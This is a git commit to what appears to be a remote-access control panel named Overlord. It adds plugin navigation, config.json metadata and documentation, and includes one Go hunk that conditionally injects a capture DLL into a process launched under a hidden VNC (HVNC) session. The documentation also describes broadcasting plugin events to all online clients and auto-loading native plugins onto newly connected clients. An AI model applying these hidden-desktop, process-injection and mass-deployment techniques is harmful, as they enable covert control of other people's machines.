add more plugin options + don't inject in HVNC if DXGI is set to off.

This commit is contained in:
KingKDot
2026-04-20 18:58:27 -05:00
parent 76337628fb
commit 506e6c3746
7 changed files with 207 additions and 28 deletions
@@ -808,7 +808,11 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
if len(captureDllBytes) > 0 {
go hvncDeferredGPUInject(pid, captureDllBytes)
if !hvncDXGIEnabled.Load() {
log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
} else {
go hvncDeferredGPUInject(pid, captureDllBytes)
}
}
return pid, nil
+20 -15
View File
@@ -9,6 +9,7 @@ import {
import { mountNav } from "./nav/template.js";
import { createAdaptiveNavController } from "./nav/layout.js";
import { applyUserRoleUI } from "./nav/role-ui.js";
import { loadPluginNavItems } from "./nav/plugins-loader.js";
const host = document.getElementById("top-nav");
if (host) {
@@ -38,23 +39,27 @@ if (host) {
"/file-share": "file-share-link",
"/purgatory": "enrollment-link",
};
const activeId = activeMap[path];
if (activeId) {
const el = document.getElementById(activeId);
if (el) {
el.classList.add("nav-active");
// Also expand the parent sidebar group if applicable
const group = el.closest(".sb-group");
if (group) {
const btn = group.querySelector(".sb-group-btn");
const children = group.querySelector(".sb-group-children");
const chevron = btn?.querySelector(".sb-chevron");
if (btn) btn.setAttribute("aria-expanded", "true");
if (children) children.classList.add("sb-group-open");
if (chevron) chevron.classList.add("sb-chevron-open");
loadPluginNavItems(activeMap).then(() => {
const activeId = activeMap[path];
if (activeId) {
const el = document.getElementById(activeId);
if (el) {
el.classList.add("nav-active");
// Also expand the parent sidebar group if applicable
const group = el.closest(".sb-group");
if (group) {
const btn = group.querySelector(".sb-group-btn");
const children = group.querySelector(".sb-group-children");
const chevron = btn?.querySelector(".sb-chevron");
if (btn) btn.setAttribute("aria-expanded", "true");
if (children) children.classList.add("sb-group-open");
if (chevron) chevron.classList.add("sb-chevron-open");
}
}
}
}
});
if (refs.logoutBtn && !refs.logoutBtn.dataset.boundLogout) {
refs.logoutBtn.dataset.boundLogout = "true";
refs.logoutBtn.addEventListener("click", async () => {
@@ -0,0 +1,51 @@
import { dropdownItem, sidebarChild } from "./template.js";
export async function loadPluginNavItems(activeMap) {
try {
const res = await fetch("/api/plugins");
if (!res.ok) return;
const data = await res.json();
const plugins = data.plugins;
if (!plugins || !Array.isArray(plugins)) return;
const navPlugins = plugins.filter(
(p) => p.navbar && p.enabled
);
if (navPlugins.length === 0) return;
const isSidebar = document.querySelector(".sb-group[data-group='plugin_apps']");
const wg = document.querySelector(".nav-dd-wrapper[data-group='plugin_apps']");
const container = isSidebar ? document.querySelector(".sb-group[data-group='plugin_apps']") : wg;
if (!container) return;
const childContainer = isSidebar
? container.querySelector(".sb-group-children")
: container.querySelector(".nav-dd-menu");
if (!childContainer) return;
const itemsHtml = navPlugins.map((p) => {
const linkId = `plugin-nav-${p.id}`;
activeMap[`/plugins/${p.id}`] = linkId;
const childObj = {
href: `/plugins/${p.id}`,
label: p.navbar.label || p.name,
icon: p.navbar.icon || "fa-cube",
iconColor: "text-slate-300",
linkId: linkId,
};
return isSidebar ? sidebarChild(childObj) : dropdownItem(childObj);
}).join("");
childContainer.innerHTML = itemsHtml;
container.classList.remove("hidden");
} catch (err) {
console.error("Failed to load plugin nav items", err);
}
}
+15 -5
View File
@@ -4,7 +4,7 @@ export const NAV_MODE_KEY = "sb_mode";
NAVIGATION DATA — single source of truth
────────────────────────────────────────────── */
const NAV_GROUPS = [
export const NAV_GROUPS = [
{
id: "clients",
label: "Clients",
@@ -65,13 +65,21 @@ const NAV_GROUPS = [
{ href: "/metrics", label: "Metrics", icon: "fa-chart-line", iconColor: "text-emerald-400", linkId: "metrics-link" },
],
},
{
id: "plugin_apps",
label: "Plugin Apps",
icon: "fa-plug",
iconColor: "text-fuchsia-400",
hidden: true,
children: [],
}
];
/* ──────────────────────────────────────────────
TOPBAR — dropdown menus
────────────────────────────────────────────── */
function dropdownItem(child) {
export function dropdownItem(child) {
const hiddenCls = child.hidden ? " hidden" : "";
const badgeHtml = child.hasBadge
? `<span id="enrollment-badge" class="nav-dd-badge hidden"></span>`
@@ -100,8 +108,9 @@ function dropdownGroup(group) {
}
// Dropdown group — wrapper always visible, children control visibility
const items = group.children.map(dropdownItem).join("");
const groupHidden = group.hidden ? " hidden" : "";
return `
<div class="nav-dd-wrapper" data-group="${group.id}">
<div class="nav-dd-wrapper${groupHidden}" data-group="${group.id}">
<button class="nav-dd-group-btn" data-group="${group.id}" aria-haspopup="true" aria-expanded="false">
<i class="fa-solid ${group.icon} ${group.iconColor}"></i>
<span>${group.label}</span>
@@ -217,7 +226,7 @@ function mountTopbar(host) {
SIDEBAR — tree-style expandable
────────────────────────────────────────────── */
function sidebarChild(child) {
export function sidebarChild(child) {
const hiddenCls = child.hidden ? " hidden" : "";
const badgeHtml = child.hasBadge
? `<span id="enrollment-badge" class="sb-badge hidden"></span>`
@@ -246,8 +255,9 @@ function sidebarGroup(group) {
}
// Expandable group — wrapper always visible, children control visibility
const childrenHtml = group.children.map(sidebarChild).join("");
const groupHidden = group.hidden ? " hidden" : "";
return `
<div class="sb-group" data-group="${group.id}">
<div class="sb-group${groupHidden}" data-group="${group.id}">
<button class="sb-group-btn" data-group="${group.id}" aria-expanded="false">
<i class="fa-solid ${group.icon} ${group.iconColor} sb-icon"></i>
<span class="sb-text">${group.label}</span>
+4
View File
@@ -270,6 +270,10 @@ export type PluginManifest = {
css?: string;
js?: string;
};
navbar?: {
label?: string;
icon?: string;
};
};
export type PluginSignatureInfo = {
@@ -80,6 +80,7 @@ export async function ensurePluginExtracted(
let htmlEntry: Buffer | null = null;
let cssEntry: Buffer | null = null;
let jsEntry: Buffer | null = null;
let configEntry: Buffer | null = null;
const nativeBinaries: Map<string, Buffer> = new Map();
for (const entry of entries) {
@@ -94,6 +95,8 @@ export async function ensurePluginExtracted(
cssEntry = entry.getData();
} else if (lower.endsWith(".js")) {
jsEntry = entry.getData();
} else if (lower === "config.json") {
configEntry = entry.getData();
}
}
@@ -114,10 +117,20 @@ export async function ensurePluginExtracted(
await fs.writeFile(path.join(assetsDir, `${safeId}.css`), cssEntry);
await fs.writeFile(path.join(assetsDir, `${safeId}.js`), jsEntry);
let extraConfig: any = {};
if (configEntry) {
try {
extraConfig = JSON.parse(configEntry.toString("utf-8"));
} catch (err) {
logger.warn(`[plugin] invalid config.json in bundle ${safeId}, ignoring: ${err}`);
}
}
const manifest: PluginManifest = {
id: safeId,
name: safeId,
version: "1.0.0",
name: extraConfig.name || safeId,
version: extraConfig.version || "1.0.0",
description: extraConfig.description,
binaries: binariesMap,
entry: `${safeId}.html`,
assets: {
@@ -125,6 +138,7 @@ export async function ensurePluginExtracted(
css: `${safeId}.css`,
js: `${safeId}.js`,
},
...(extraConfig.navbar && { navbar: extraConfig.navbar }),
};
await fs.writeFile(manifestPath, JSON.stringify(manifest, null, 2));
+96 -5
View File
@@ -31,7 +31,8 @@ sample.zip
├─ sample-windows-amd64.dll
├─ sample.html
├─ sample.css
└─ sample.js
├─ sample.js
└─ config.json (optional — enables navbar & metadata)
```
When the server extracts the zip:
@@ -42,7 +43,7 @@ Overlord-Server/plugins/sample/
├─ sample-linux-arm64.so
├─ sample-darwin-arm64.dylib
├─ sample-windows-amd64.dll
├─ manifest.json (auto-generated)
├─ manifest.json (auto-generated, merged with config.json)
└─ assets/
├─ sample.html
├─ sample.css
@@ -66,13 +67,14 @@ The server will **never** send an x64 binary to an ARM client (or vice versa). I
### Manifest fields
The auto-generated manifest:
The auto-generated manifest (merged with `config.json` if present):
```json
{
"id": "sample",
"name": "sample",
"name": "Sample Plugin",
"version": "1.0.0",
"description": "An example plugin",
"binaries": {
"linux-amd64": "sample-linux-amd64.so",
"linux-arm64": "sample-linux-arm64.so",
@@ -84,10 +86,41 @@ The auto-generated manifest:
"html": "sample.html",
"css": "sample.css",
"js": "sample.js"
},
"navbar": {
"label": "Sample",
"icon": "fa-cube"
}
}
```
The `navbar` field is only present when a `config.json` is included in the bundle.
### Global Nav Bar Plugins (`config.json`)
Include an optional `config.json` in the root of your plugin zip to register the plugin in the global navigation bar. This is suited for plugins that operate across all clients (e.g. a global clipboard manager) rather than requiring a specific `?clientId=` to be selected first.
```json
{
"name": "My Plugin",
"version": "1.0.0",
"description": "A global plugin",
"navbar": {
"label": "My Plugin",
"icon": "fa-cube"
}
}
```
**`navbar.icon`** accepts any [Font Awesome 6 solid icon class](https://fontawesome.com/icons?s=solid) without the `fa-solid` prefix, e.g. `fa-clipboard`, `fa-network-wired`, `fa-key`.
When the server extracts the bundle:
- `config.json` fields are merged into the auto-generated `manifest.json`
- If the plugin is also `enabled`, it will appear in the **"Plugin Apps"** group in the sidebar/topbar
- Clicking the nav entry opens the plugin at `/plugins/<id>` — **without** a `?clientId=` parameter, suitable for global operation
> **Important:** `config.json` must be in the **root** of the zip (not inside a subfolder). The build scripts automatically include it if it exists at the plugin source root. The manifest is re-generated on every extraction (triggered when the zip is newer than `manifest.json`), so keep `config.json` in the zip to avoid losing the navbar registration on re-upload.
## 2) Plugin ABI (all languages)
Every plugin — regardless of language — must export **C-callable functions** with specific signatures. The ABI differs slightly between Windows and Unix.
@@ -465,14 +498,28 @@ Plugin UI is embedded directly in the main page at:
/plugins/<pluginId>?clientId=<CLIENT_ID>
```
For **global nav bar plugins** (those registered via `config.json`), the UI opens without a client ID:
```
/plugins/<pluginId>
```
The server reads your `<pluginId>.html`, extracts the body content, and renders it inside the standard Overlord layout. Your CSS and JS are loaded from `/plugins/<pluginId>/assets/`.
To get the `clientId` in your JS:
To get the `clientId` in your JS (for per-client plugins):
```js
const clientId = new URLSearchParams(window.location.search).get("clientId");
```
For global plugins, `clientId` will be `null`. Use `/api/clients?status=online&pageSize=1000` to enumerate connected clients and broadcast events to all of them:
```js
const res = await fetch("/api/clients?status=online&pageSize=1000");
const { items } = await res.json();
const onlineIds = items.filter(c => c.online).map(c => c.id);
```
## 6) Runtime: how events flow
Overlord plugins have **two parts**:
@@ -556,6 +603,42 @@ Your plugin JS runs in the same browsing context as the main UI, so `fetch()` ca
Plugin assets (CSS, JS, images) are served from `/plugins/<pluginId>/assets/`.
### CSP-safe JavaScript
The Overlord UI enforces a **Content Security Policy** that blocks `unsafe-inline` script execution. This means:
- **No** `onclick="..."`, `onchange="..."`, or other inline event handler attributes in HTML strings
- **No** `javascript:` URLs
- **No** `eval()` or `new Function()`
When dynamically generating HTML (e.g. in a `renderRules()` function), use `data-*` attributes and event delegation instead:
```js
// ❌ Blocked by CSP
element.innerHTML = `<button onclick="removeItem(${i})">Remove</button>`;
// ✅ CSP-safe
element.innerHTML = `<button class="remove-btn" data-index="${i}">Remove</button>`;
element.addEventListener("click", (e) => {
if (!e.target.classList.contains("remove-btn")) return;
const index = parseInt(e.target.getAttribute("data-index"), 10);
removeItem(index);
});
```
### Avoiding redeclaration errors
Because the plugin UI is injected into a persistent single-page application, navigating away and back to a plugin page causes the plugin's JS file to be re-evaluated in the **same global scope**. Using top-level `const` / `let` declarations will throw `SyntaxError: Identifier '...' has already been declared` on the second load.
**Wrap all plugin JS in an IIFE** to scope everything locally:
```js
(() => {
const MY_CONST = "value"; // safe — scoped to this closure
// ... rest of plugin code
})();
```
## 8) API surface
### Plugin management
@@ -598,6 +681,14 @@ When auto-load is enabled for a plugin, the server will automatically load it on
You can also configure **auto-start events** — a list of events that are queued and delivered to the plugin immediately after it loads. This lets you pre-configure the plugin without any manual interaction.
### Autostart switch in global plugin UI
Global nav bar plugins (those with a `navbar` entry in `config.json`) can expose an **"Autostart on new clients"** toggle directly in their UI. This checkbox controls whether new clients that connect will automatically have the plugin loaded and the current configuration replayed.
When the switch is checked, the UI calls `POST /api/plugins/<id>/autoload` with `autoLoad: true` and the current `autoStartEvents` (rule set + start order). When unchecked, it sets `autoLoad: false` — new clients won't receive the plugin unless manually triggered.
The switch state is saved to the server and restored when the plugin page is reopened.
### Enable auto-load
```